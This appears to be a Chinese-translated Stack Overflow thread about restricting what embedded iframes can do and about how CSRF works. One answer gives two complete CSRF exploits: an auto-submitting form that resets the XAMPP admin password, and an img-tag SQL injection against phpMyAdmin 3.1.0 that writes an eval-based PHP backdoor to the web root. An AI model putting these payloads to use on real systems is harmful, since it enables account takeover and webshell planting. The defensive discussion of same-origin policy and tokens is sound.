2010-01-26 311 views
2

有沒有辦法限制允許iframe在父級中執行的操作?我所尋找的是一個安全模型周圍的Javascript,看起來像:如何防止涉及嵌入式iframe的CSRF/XSRF攻擊?

​​

兩個「trusted.html的模樣:

<html><body> 
<script type="text/javascript"> 
function InternalCall() 
{ 
    window.parent.AllowedToAccess(); 
} 

function InternalCall2() 
{ 
    window.parent.NotAllowedToAccess(); 
} 
</script> 
<security> 
javascript:window.parent { 
    Allow javascript:document.body.offsetHeight; 
    Allow javascript:document.title; 
} 

script.untrusted { 
    Deny All; 
} 
</security> 
<script type="text/javascript"> 
window.parent.AllowedToAccess(); 
InternalCall(); 
</script> 
<script type="text/javascript" src="http://www.anothersite.com/untrusted.js" secclass="untrusted"></script> 
<script type="text/javascript"> 
window.parent.NotAllowedToAccess(); 
InternalCall2(); 
window.parent.jQuery(window.parent.body).append('<div id="badid"></div>'); 
window.parent.jQuery('#badid').load('SomethingIShouldnt.php'); 
</script> 
</body> 
</html> 

和'SomethingIShouldnt.php很像:

NotAllowedToAccess(); 

和 'untrusted.js' 的樣子:

window.parent.AllowedToAccess(); 
InternalCall(); 
window.parent.NotAllowedToAccess(); 
InternalCall2(); 
window.parent.jQuery(body).append('<div id="badid"></div>'); 
window.parent.jQuery('#badid').load('SomethingIShouldn't.php'); 

(呃...對於過度殺傷對不起)

你會注意到HTML代碼中不存在的'安全'標籤。我正在思考一些CSS selector-ish聲明的問題,其中包含一些類似Apache的安全語法,用於定義規則。 (我沒有使用window.parent規則,但它有希望向阻止跨站點腳本編寫的瀏覽器演示一個體面的解決方法,這對於處理非常令人沮喪 - 「我相信父窗口只能訪問我窗口的高度,標題」)。我希望像這樣的東西已經以某種形式存在(甚至是草稿)。但恐怕答案是'不'。

這可以完成(甚至部分)嗎?如果不是,那麼我需要與誰談話才能實現這樣的目標(標準委員會或瀏覽器實施者)?當然,假設這甚至有意義?

+0

寫入漏洞利用是證明安全系統免受攻擊的唯一方法。一個安全系統是危險的,直到它被證明保證你的安全。 – rook 2010-01-26 16:48:43

回答

5

簡短的答案是否定的,XSRF與iframe無關。

如果僞造的請求來自iframe,則無關緊要。僞造的請求必須來自另一臺服務器,以便攻擊者利用它。黑客用戶的內嵌框架,因爲它們可以用於在XSRF漏洞利用中僞造發佈請求,因爲漏洞利用必須使用javascript來自動提交論壇。這是一個真實世界的XSRF漏洞,我根據XAMPP編寫,它改變了管理密碼。最好在iframe中執行這個javascript/html,這樣它對受害者是不可見的,但是這個漏洞可能只是在沒有iframe的情況下重定向整個窗口,它仍然會改變管理員的密碼。

<html> 
<form action='http://10.1.1.10/security/xamppsecurity.php' method='POST' id=1> 
      <input type="hidden" name="_SERVER[REMOTE_ADDR]" value="127.0.0.1"> 
    <input type=hidden name="xamppuser" value=admin > 
    <input type=hidden name="xampppasswd" value=password> 
    <input type=hidden name="xamppaccess" value="Make+safe+the+XAMPP+directory"> 
    <input type=submit> 
</form> 
</html> 
<script> 
document.getElementById(1).submit(); 
</script> 

但如果XSRF攻擊的就是基礎,然後一個iframe不幫助攻擊。最好使用img標籤在受害者瀏覽器上自動發送僞造的請求。這是我爲PHPMyAdmin 3.1.0編寫的另一個漏洞。這會在web根目錄上傳一個php後門程序。這個漏洞很棒,因爲它可以在啓用noscript的情況下工作,並影響系統的TON。

<html> 
<img src="http://10.1.1.10/phpmyadmin/tbl_structure.php?db=information_schema&table=TABLES%60+where+0+union+select+char%2860%2C+63%2C+112%2C+104%2C+112%2C+32%2C+101%2C+118%2C+97%2C+108%2C+40%2C+36%2C+95%2C+71%2C+69%2C+84%2C+91%2C+101%2C+93%2C+41%2C+63%2C+62%29+into+outfile+%22%2Fvar%2Fwww%2Fbackdoor.php%22+--+1"> 
</html> 
+0

漏洞永遠不會「真棒」。他們浪費了每個人的時間。我對我的場景更感興趣,據我所知,這個場景符合CSRF(假設父窗口有人在某種網站上以管理員權限查看網頁)。我對我的場景進行了快速測試,並且能夠使用管理員權限執行Javascript(包括AJAX調用),儘管不受信任的Javascript來自完全不同的域。 「CSRF利用網站在用戶瀏覽器中的信任。」這似乎有資格。 – 2010-01-26 05:41:18

+0

黑客入侵將永遠是一個神奇的東西,直到你掌握了剝削的藝術。 – rook 2010-01-26 06:27:16

+0

絕對錯誤。 – 2010-01-26 07:05:50

1

您可以使用相同原點策略(SOP)。

將iframe src設置爲不同的端口,子域或域,並且iframe將無法訪問父級內容。

即:在頁面

http://www.mydomain.com/mypage.html 

和iframe中,以下

http://www.mydomain.com:4255/iframeSrc.html 
http://secure.mydomain.com/iframeSrc.html 
http://www.secure-mydomain.com/iframeSrc.html 

一個但這不會阻止CSRF如果只依靠在你的頁面提供一個cookie 。
如果有人知道如何在服務器上發佈請求,他將能夠做到這一點。

防止這種最簡單的方法是在你的頁面有你通過爲每個請求的JavaScript變量(由該SOP的iframe無法訪問)。

有些東西可能會讓你感興趣,併爲垃圾郵件感到抱歉,因爲我今天已經發布了一些關於它的內容,我們使用iframe來對沙箱JSONP調用進行調用,但是要啓用它們之間的安全字符串通信。

Here is the description它是如何工作的,並且有一個演示頁面可以看到它正在運行。